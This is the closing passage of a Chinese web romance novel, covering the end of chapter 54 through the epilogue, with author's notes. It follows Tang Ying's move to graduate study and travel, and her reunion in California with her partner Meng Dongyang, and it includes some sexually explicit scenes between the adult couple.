“我们本来也很少见面啊。” “要是没有孟冬杨,你会不会喜欢路晨?” “喜欢一个人哪有那么容易。”唐盈不喜欢去假设。 苏洋洋对她笑笑:“你选了谁,谁就是最好的。” 唐盈认可这句话,但路晨从来不是她的选项。 有过考虑,才可以成为选择。她对路晨,从来就没有考虑过。 她决定跟谁在一起,会一直对这个人忠诚且坚定,除非对方背叛和爱消除。 在这个过程中,再好再合适的人出现,她也不会多看一眼。 彭芳和彭文君回旧家去住,把空间留给唐盈和孟冬杨。 临走时,彭芳对孟冬杨说,这里也是他的家,要他不要有做客的心态。 孟冬杨问唐盈这话是什么意思。 唐盈说:“意思就是让你多干活,别犯懒。” 他又问:“你的好朋友对我评价怎么样?” 唐盈说挺好的。 孟冬杨若有所思地看着她。 夜深了,唐盈去洗澡。 冲完头上的泡沫后,她转过身看向玻璃外,吓了一跳。 孟冬杨不知道什么时候进来了。 他穿着居家的衣服,倚在盥洗台上,手里拿着一根细支烟,定定地注视着洗澡的唐盈。 他的神态被水雾遮挡着,唐盈用手掌推开玻璃上的雾气,下意识地捂住胸口,发现他的眸色又沉又暗,不懂他又在作什么妖,索性把胳膊放下,往玻璃前走了一步,让身体贴在了上面。 红色的两朵被白色的肌肤压在玻璃上,视觉冲击之下,孟冬杨的身体里激荡起黑色的火焰。他按下打火机,把手中的这支烟点燃。 唐盈这才看清他手里拿着的是她抽屉里的那盒烟,她神色淡定,对孟冬杨勾了勾手指。 孟冬杨不为所动。 唐盈继续去清洗身体,脖子和腋下都铺满泡沫后,她用水流把玻璃上刚聚起的雾气冲开,托住胸,开始揉搓。 又转过身,把其他饱满的地方对着外面。 笔直修长的腿晃来晃去。 孟冬杨把烟熄灭,脱掉了上衣。 他正要走进去,唐盈关了水,对他盈盈一笑:“我洗好了。” 是“我洗好了”,也是“你迟到了”。 唐盈把浴巾递给孟冬杨,“帮我擦。” 孟冬杨把撑开的浴巾罩在了唐盈的脑袋上,手伸了进去。 捏了一会儿后,才耐心地帮她擦拭。 刚洗干净的肌肤略带些清爽的涩感,不够柔滑。孟冬杨把身体乳挤在掌心,一点点帮她涂抹。 涂到柔软的地方手指一定会停留。 唐盈看着孟冬杨的嘴唇。 她的眼神直勾勾的,孟冬杨识趣地问:“你想要我做什么?” “我累了,我的腿站不住、张不开,也抬不起来了。”唐盈把毛巾铺在盥洗台上,坐了上去,“烟是我姐过年时偷偷在我书房里抽的,不是我的,我讨厌你审判我的眼神,你给我道歉。” 孟冬杨的肩膀被往下按。 唐盈把湿了一半的浴巾扔到他脚边。 “先吹干头发。” “不,现在就要。” 唐盈分开了膝盖。 孟冬杨的膝盖贴在了地板上。 唇舌撑开了一个空间。 唐盈从不遮掩自己的欲望。两年前对这段关系最迷茫的时候,她在孟冬杨的身体上投掷自己最大的热忱。 如果言语表达需要克制,那身体表达就要尽兴。 爱和欲应该共生才对。 孟冬杨喜欢甜蜜的东西,舌头舔舐奶油的时候,感官会放大,内心深处的苦闷会短暂得到消解。 唐盈带给他的味觉体验,太像他十岁生日时的那一块巧克力蛋糕。 她有微苦的特质和柔软的内心,甜度永远恰到好处。 贪食的气息像火焰一样攀爬,快要把唐盈身体里的黑洞烧焦。 她分不清是谁在绞着谁,手掌快要撑不住时,孟冬杨的手又捧了过来。 一只手要顾及到两边,力量会失控。 孟冬杨想起她在玻璃门里迎着水流的那一幕,拉住她的手腕,让她自己动手。 就在唐盈想要更多的时候,那个时刻突然就到来了。 密闭的空间里,她无所顾虑地发出声音。 孟冬杨把唐盈抱了下来,担心她着凉,用她的睡衣裹紧她,想带她去卧室里吹头发。 唐盈抓住他,“那你怎么办?” 孟冬杨推开她的手,“昨晚过量了,今天你开心了就好。” 吹头发的时候,唐盈对孟冬杨说:“那时候你没教会我抽烟,我也懒得自学。” 孟冬杨并不是觉得她不能抽烟,而是希望她烦闷的时刻可以找他倾诉。 他说:“我会尽快结束手头的工作回来陪你。” “我要去上学的,你陪我做什么。” “我也可以回来工作。” “你太小看我了。”唐盈倚在孟冬杨的身上,“我虽然没有好好吃饭,偶尔也会有点孤单,但是我的动力很足。我正一步一步往外走,你要是回来了,我就走不动了。” “我收回那句让你陪我去美国生活的话。” 唐盈微微错愕,抬头看着孟冬杨的眼睛,“你怎么了?” 孟冬杨温柔地说:“是我离不开你,放不下你,我为什么要对你提要求呢。” 唐盈露出两颗梨涡,“可是我还是会去看看你读书工作生活的地方,等我看完全了,我们再讨论未来吧。” 【作者有话说】 算我双更合一吧么么哒 第55章 看世界 孟冬杨在出差途中收到唐盈被录取的好消息, 他问自己是不是第一个收到这个消息的人。 唐盈说因为时差的关系,他是第四个。 孟冬杨发来语音:千万别告诉我路晨在前三。你半夜三点发来消息我也会看。 他的语气冷幽幽的,唐盈懒得回复。 同事Ives问孟冬杨, 长时间跟女朋友异国,会不会影响感情。 孟冬杨自嘲道:“我的女朋友没那么在乎我。” “那为什么还要在一起?” 孟冬杨改口道:“我的意思是她没那么粘人。我们习惯这种相处模式了,我们感情很好。” Ives说他一天也不愿意跟自己的妻子分开。 孟冬杨心想,谁不是呢。 唐盈请路晨和苏洋洋吃饭, 三人举杯庆祝唐盈即将重返校园生活。 路晨送给唐盈一个可动人体模型当礼物, 苏洋洋问是什么寓意, 路晨说希望唐盈把这个模型摆在她的书桌上, 这样可以提醒自己要保重身体。 唐盈打算把这个模型带去学校。 吃完饭后,三个人去青阳的一条老街上溜达散步。 苏洋洋问唐盈:“那你以后应该只有逢年过年才会回来了吧。” 唐盈点点头。 “你会去美国吗?” 唐盈也不知道未来会怎样,她会先好好读完这几年书。 街上开了新的奶茶店,好多年轻人在排队凑热闹。 唐盈看见穿他们高中校服的学生,想起方静钰和徐屹南要在五一办婚礼,问苏洋洋有没有收到请柬。 苏洋洋说她跟方静钰不熟。 “你要去参加婚礼?” “是呢。” 当初方静钰还属意唐盈做伴娘, 后来大家疏远, 这事就不再被提起。 说到婚礼,苏洋洋说自己正被家里人催婚, 她爸妈说她吵着不嫁人,他们愁得连觉都睡不着。 路晨开玩笑道:“今天半夜两点,你冲进他们卧室里看看他们睡着了没。” 苏洋洋和唐盈被逗得哈哈大笑。 “路医生, 你被催了吗?” 路晨摇头,“他们催不动就懒得催了。” “唐盈,你妈催你了吗?” 唐盈也摇头, 笑道:“她跟我姐都是高贵的离婚人士, 才懒得催我呢。” 从街头走到街尾, 热闹声渐渐消退。 苏洋洋去洗手间,唐盈和路晨站在一道拱桥上等她。旁边有小孩在往人工河里扔石头,路晨也捡了一把碎石子扔着玩。 他一边扔着,用最不经意的语气对唐盈说:“我喜欢你,你是知道的吧。” “啊?”唐盈并不惊讶,只是觉得他说这句话有点突然。 路晨看向她略显紧张的脸,“告诉你,只是觉得这个时机正好。你跟你男朋友关系稳定,前途一片光明,你就把我这份心意当成是一份祝福吧。希望我的表白能让你更自信。” 唐盈一直觉得路晨是个很有智慧的人,这种智慧是一种与生俱来的天赋。他这套举重若轻的生活法则,能使他不管身处何地,是得到还是失去,都保有一份豁达自若的心性。 他这种天赋是唐盈很羡慕的一种本领。 路晨递给唐盈手里最大的一个石头,让她往最远的地方扔。 唐盈用力全力把石头扔远,“谢谢你,路医生。” 路晨耸一下肩膀,他还是喜欢听她叫他的名字。 唐盈去参加婚礼,到了现场,先去跟大哥大嫂打照面。 唐久安问唐盈什么时候辞职,唐盈说就这阵子了。 薛晓慧感叹道:“那以后见面的机会就少了。” 唐盈说只要她回青阳,就一定会去家里看望他们夫妻俩。 “你跟冬杨还好吧。”不等唐盈回答,唐久安又说,“也好几年了,看得出来他对你是真心的。” 唐盈淡笑一下,没有接话。 旁边有亲戚来叫薛晓慧去帮忙,她顾不上再跟唐盈说话,匆匆离去。唐久安和唐盈也不再有别的话说,沉默地站了会儿后便散开了。 孟冬杨问唐盈参加婚礼的心情如何,唐盈说现场还是蛮温馨的,但也会有尴尬的时刻。比如新郎新娘在真情告白的时候,台下有百分之八十的人都在专注吃席。 “幸福是不需要向他人宣告的。”唐盈正对着手机屏幕涂脸,她摸到自己的眼角,凑近去看,问孟冬杨:“我是不是也长细纹了?” “是,你老了,你好好保养吧。” “你特别希望我老的快吧!” “……”孟冬杨知道她这话是什么意思,又被她给气到了,“视频的时候你是不是都在看你自己?” 视频结束不久,孟冬杨收到唐盈发来的几十张照片,手机震得他脑袋疼。 他点开一看,是几十张他们视频时的截图,唐盈抓住了他的几十个笑脸。 被她关注,他心里竟然有点感动。 他问她:暑假来不来找我? 唐盈已经列好了暑假计划,她要先带彭芳去云贵川玩一圈,然后和苏洋洋去巴黎。 孟冬杨正想问她出国的第一站为什么不去美国,而是去法国。 唐盈对他说:你第一次出国旅行就是去巴黎。我要去看看。 她觉得会法语的苏洋洋会是很好的翻译。 结束教师生涯的第一天,唐盈无比空虚地在家躺了一整天。晚上同事们在群里插科打诨,她忽然有点伤感。 她离开了一个岗位,失去了一份稳定的工作,脱离了一个稳固的交际圈,也会渐渐淡化和一些同事之间的情谊。 她要接着往前走了,要步入人生的下一个阶段,结识新的朋友,迎接新的挑战。 她永远都不会忘记自己第一次走上讲台时的那份紧张心情。那时的她以为自己的职业生涯会在讲台上落幕。 彼时二十三岁的小唐老师一定意想不到,五年后,她不仅没有结婚没有生子,她还要离开这座小城,去更大的世界冒险。 那个世界,正是她填高考志愿之前,也曾做过的短暂遥远的梦。 八月在法国各地打卡时,唐盈顺路去了趟尼斯,去看望杨梦真。见到杨梦真之后,她才告诉孟冬杨这件事。 孟冬杨在视频里有些不知所措。 唐盈把镜头对着他两年前画的那幅小岛,说自己在上面添了几笔,问他看没看出来。 孟冬杨看见礁石上开出了几朵白色的小花。 这幅画一直放在画架上。杨梦真见唐盈完成了最后一笔,把画布从画框上拆下来,卷进画轴,要唐盈带回去裱起来挂在家里。 唐盈问孟冬杨:“是挂在你家里还是我家里?” 杨梦真笑道:“他的家就是你的家,你的家也是他的家。” 黑色的礁石原本不会开花,但是岛屿需要生机。 杨梦真说,唐盈就是孟冬杨心脏上开出来的一朵花。 孟冬杨问唐盈为什么要去看望杨梦真。唐盈说因为这是他最亲的人。 多了解杨梦真,也就能多了解孟冬杨。这个男人对她的家里人好,她没有理由不去回馈这一份爱屋及乌。 秋季开学后,唐盈回归到学习状态。啃完自己的专业,闲下来的时候,她也会去看一看孟冬杨的专业书。 她研究了一些他专业上的经典案例,例如奥巴马竞选和冰桶挑战,再跟他聊天的时候,有了更多的话题跟他分享。 除了这些,她最上心的就是学英语。 孟冬杨结束外派,回到洛杉矶总部后,在圣塔莫尼卡买了一套房子。他不确定未来会不会长留美国,购买有多重考虑,不全是为了定居。 唐盈渐渐地习惯了上海的生活。周末和小长假她时常去各地旅行,国内热门城市去了十来个,发现自己最喜欢上海。 寒假里,她去了孟冬杨曾经独自去过的新西兰,在他曾经到过的地方,摆出同样的姿势拍照留念。 次年五一,她去了冰岛。非常巧,出海观鲸的那一天,她遇到了孟冬杨当时偶遇的船员。 从对自己的口语非常没自信,出国得依靠语言好的朋友,到自己一个人旅行一个人看世界,唐盈用了十个月的时间完成了升级。 从冰岛回来后,她申请了去美国的签证。她想,这也许是她独自出发的最后一站。 暑假彭芳带着汐汐和弟弟回了青阳。 唐盈在家里收拾行李,弟弟突然钻进她的行李箱,说自己也要去美国。 彭芳要弟弟别捣乱,说小姨是去看小姨夫的。 弟弟问:“小姨要结婚了吗?” 唐盈说还早着呢,她学都没上完呢。 汐汐叹气:“怎么快三十岁了还要上学啊。” “二十八二十八二十八!”唐盈猛捏汐汐的小脸。 晚上家附近的商场有儿童表演秀,彭芳想去打一场麻将,让唐盈带着两个小孩去看。 到了现场,唐盈被挤得难受,拖着俩娃坐在广场上吃冰激凌。 汐汐说有蚊子咬她,一直抓自己的小腿,唐盈正低头去检查她的皮肤,有人递了一支止痒药膏过来。 唐盈一抬头,是谷瑞安。 谷瑞安一个人带着儿子出来玩。小孩儿讲话已经很清楚了,他问爸爸这是谁。 谷瑞安让他叫唐盈阿姨。 “阿姨好。” “你好。”唐盈低头帮汐汐挠她的蚊子包。 “能聊聊吗?”谷瑞安问唐盈。 唐盈跟他没有任何话好说,正想拒绝,谷瑞安把泡泡机递给他儿子,让他跟哥哥姐姐去喷泉那边玩。 谷瑞安开口说道:“梅馨的生意做得不如意,她去外地了。现在我们分开了。” 唐盈实在是不想听,偏过头,继续吃手里的冰激凌。 谷瑞安坐在唐盈旁边的空位上,看着喷泉的方向,缓声说道:“去年就听说你考上研究生了,没机会道一声恭喜。前阵子高中同学聚会,大家说到你,都说你的变化很大……” “我去看看小孩。”唐盈起身离开。 “唐盈,对不起。”谷瑞安叫住唐盈,“我一直欠你一句对不起……” 唐盈淡淡地抬头看着天空。 “我……”谷瑞安很想对她说,他早就发现自己根本不爱梅馨,话到嘴边却没能开口。 唐盈心里在想,蜻蜓低飞,快要下雨了。想着想着,就直接走了。 晚上跟孟冬杨视频,唐盈说她今天偶遇谷瑞安了。 孟冬杨挑一下眉头,“然后呢?” 唐盈说:“恍如隔世。” 孟冬杨正欲接话,唐盈问他:“我妈说我是丢了芝麻,捡到了金子。你是金子吗?” “没有自己夸自己的,你觉得我是我就是。” 唐盈笑起来,“你比金子贵多了。”《 》 第56章【尾声】 第56章 尾声 她的岛 唐盈举高手臂对来接机的孟冬杨挥手, 孟冬杨看见了她手腕上戴着的小红花手链。 心里对自己说要克制,唐盈靠近后,孟冬杨却一把将她抱了起来。放下她后, 他先亲吻她耳边的头发,而后才贴住她的唇瓣。 “想我了吗?”男人的声音微微有些沙哑。 唐盈的心跳有些快,踮脚搂住孟冬杨的脖子,“这次陪你久一点。” 孟冬杨在新家的后院修建了泳池, 唐盈来, 这个泳池第一次启用。为此他事先做了好几天的准备工作。 下水后唐盈怀疑起这个人的用意, 正打量四周, 孟冬杨的手覆了上来。 唐盈的脖子和后背被反复亲吻,更隐秘的动作藏进了水里。 小半年不见,故作矜持的人会被贴上虚伪的标签。 唐盈趴在泳池边缘听水里的动静,咬住了孟冬杨伸过来的手指。 撞得厉害的时候,孟冬杨的脑子里一直出现第一次在游泳馆里见到唐盈的画面。 那天她穿着蓝色的泳衣,像一条孤独的小鱼。几年过后, 她终于游到他身边, 跟他合二为一。 湿漉漉地回到室内后,来不及擦拭身体, 双双倒在地毯上。 孟冬杨仰视唐盈的脸,轻轻地捧住,看她自由地晃来晃去。 他的女朋友真是永远年轻。 唐盈用过度劳累的方式解决了时差问题。 第二天早上醒来, 一睁开眼,看见孟冬杨撑着脑袋注视着她。他的目光格外痴缠,这副样子实在太不像他。 她抚摸他眼角并不明显的细纹, 揉捏他的耳垂, “你是几点醒的?” 孟冬杨摇了摇头。 “你看了我多久了?” 这个他也不知道。 “我的脸肿吗?” 孟冬杨细细品鉴道:“你好像又长开了。” “什么叫长开了?成熟了?” “一种感觉。”孟冬杨啄一下她的眼睛, “你的眼睛好亮,像星星。是因为这个,你爸妈才给你取名叫星星吗?” 唐盈说这个小名是姐姐给她取的,爸妈把取小名的权力给姐姐,是希望姐姐能更爱这个妹妹。六岁的小文君说希望妹妹像星星一样闪亮。 孟冬杨觉得这名字取得真好,她的光芒越来越耀眼。 唐盈问他:“你有小名吗?” 孟冬杨努努嘴。 “杨杨?”印象中,杨梦真好像这么叫过。 孟冬杨别开脸,“起床吧,吃完早餐我们去骑车。” “骑车?太累了吧!我不要。” 孟冬杨把唐盈从床上抱了起来,把她放在洗手间的盥洗池上。 唐盈侧过脸去照镜子,看见锁骨上留下了几个印子,她用脚尖踢孟冬杨的腿,“喂!” 孟冬杨把挤好牙膏的牙刷递给她,“你以为你下嘴很轻吗?这些东西我都是跟你学的。” 唐盈脸一热,“这是本能,你装什么啊。” “这是你们小年轻喜欢玩的东西。” “我快三十了。” “二十八岁半。”孟冬杨沉着脸看她。 唐盈站在特洛伊铜像前拍照,一脸严肃,她说自己在模仿孟冬杨毕业照上的神态。 孟冬杨一路上都在被她调侃。回想自己的学生时代,他的确长期处在一种阴郁而深沉的状态里。 唐盈问他:“你的专业也是你爸爸给你挑的吗?” 孟冬杨点点头。 从小到大,孟云钦给他提供了顶尖的教育环境,让他享受着最优质的学习氛围,他几乎没有资格说不。 他对唐盈说,自己是被推着长大的,他身上镀的这层金是由他人堆砌,而非他自我生长而成。他能走到这所学校,只是因为他比其他人拥有了更多的资源。 “能利用好资源也是一种能力,不学无术走不到这里来。”唐盈挽住孟冬杨的胳膊,“你第一桶金是怎么赚到的?” 孟冬杨说:“运气。” 2010年左右,他在房东太太听的股市新闻里听见了美联储推动了量化宽松政策,于是用他卡里的五万美金购入了科技小盘股。那几年美股上涨,他的五万美金在一年内翻了六七倍。 唐盈啧嘴道:“机遇面前,还是得先有本金啊。” 孟冬杨笑道:“你现在整天研究投资模型,股票也是看的吧,应该比我要内行多了。” 唐盈说:“那些数字对我来说很冰冷,但是精算确实非常讲逻辑,精准又踏实,还能预估风险,所以越学越有意思。” 她问:“你喜欢你的专业吗?” 孟冬杨说不清,他一直都把事业当成是赚钱的工具,不过参与了这么多案子,从专业性上来说,他的确在从事一份融合了人文、情理与社会学的工作,他从中受益良多。 他们走到多希尼图书馆门口,孟冬杨问唐盈最近在看什么书。 唐盈刚刚看完《米德尔马契》,她非常喜欢多萝西娅,她喋喋不休地分享着自己的心得。 这是她在孟冬杨过去的书单里挑选的书,孟冬杨内心有些许得意。 想起书里的利德盖特,那个怀揣着科学理想却被社会吞噬的小镇医生,孟冬杨顺势问道:“路晨是你的理想型吗?” 唐盈怔住,八竿子打不着的人,他怎么这也能联想到。 她说:“你这个人太记仇了。”她一句他不是她的理想型,他记了好久好久。 “他是,对吧。”孟冬杨的眼神有些许哀怨,但很快他就无所谓地耸耸肩膀,“没关系,我原谅你了。” 唐盈抱着胳膊审视他:“那我是你的理想型吗?应该也不是吧。为什么我可以不去在乎这些东西呢。” “因为你心大,因为你不像我爱你这样爱我。” “我……” “我从来没有过理想型这种概念……” “孟冬杨,你刚刚说你爱我。” 两个人的眼神绊住,孟冬杨沉下心思,又郑重其事地重复了一遍,“我爱你,我当然爱你。” “我也爱你。”唐盈踮脚亲了男人的脸颊一下,“我当然也爱你。” 孟冬杨偏过头笑了。 唐盈认真道:“我选谁,谁就是我的理想型。知道了吗?” “好,我知道了。” 唐盈在加州过完了暑假。 她见了几个孟冬杨的老同学和跟他关系要好的同事,吃了他以前常吃的餐厅,看了他喜欢的剧目,参观了他本科时期居住的公寓。 她从孟冬杨的书柜里找到了卡卡以前的玩具,在他学校的纪念册里翻到了他十年前的留言,知晓了他昔日的梦想。 孟冬杨在她心里越来越具体。 圣塔莫尼卡的夏天比想象中还要灿烂。 临走前,唐盈突然问孟冬杨:“要不要跟我回国?” “现在?” “不,是未来。”唐盈轻轻地倚靠在他的胸膛上,“我以为你在美国有割舍不下的朋友,有游刃有余的交际圈,有锐意进取的事业,但实际上你的生活比我想象中孤独,所以你才一直期盼着我来陪你。既然是这样,我能对你提要求吗?你能不能跟着我走,去我喜欢的城市,陪在我身边。我们去同一个小岛上感受世界吧,我保证,我会让我们的岛屿开满鲜花。你必须跟我在一起,我想这一生都跟你在一起。” 唐盈说这些话的时候,她的声音像柔软的海浪一样席卷着孟冬杨的心脏。 从小城之冬走到圣塔之夏,四年过年,他终于等来了这一声他心心念念的邀请。 她邀请他跟她永不分离。 这是他听过的最动听的话语。 他当然愿意。 他们会一起建造一座世界上最美好的岛屿- 正文完- 【作者有话说】 正文完,感谢阅读~《 》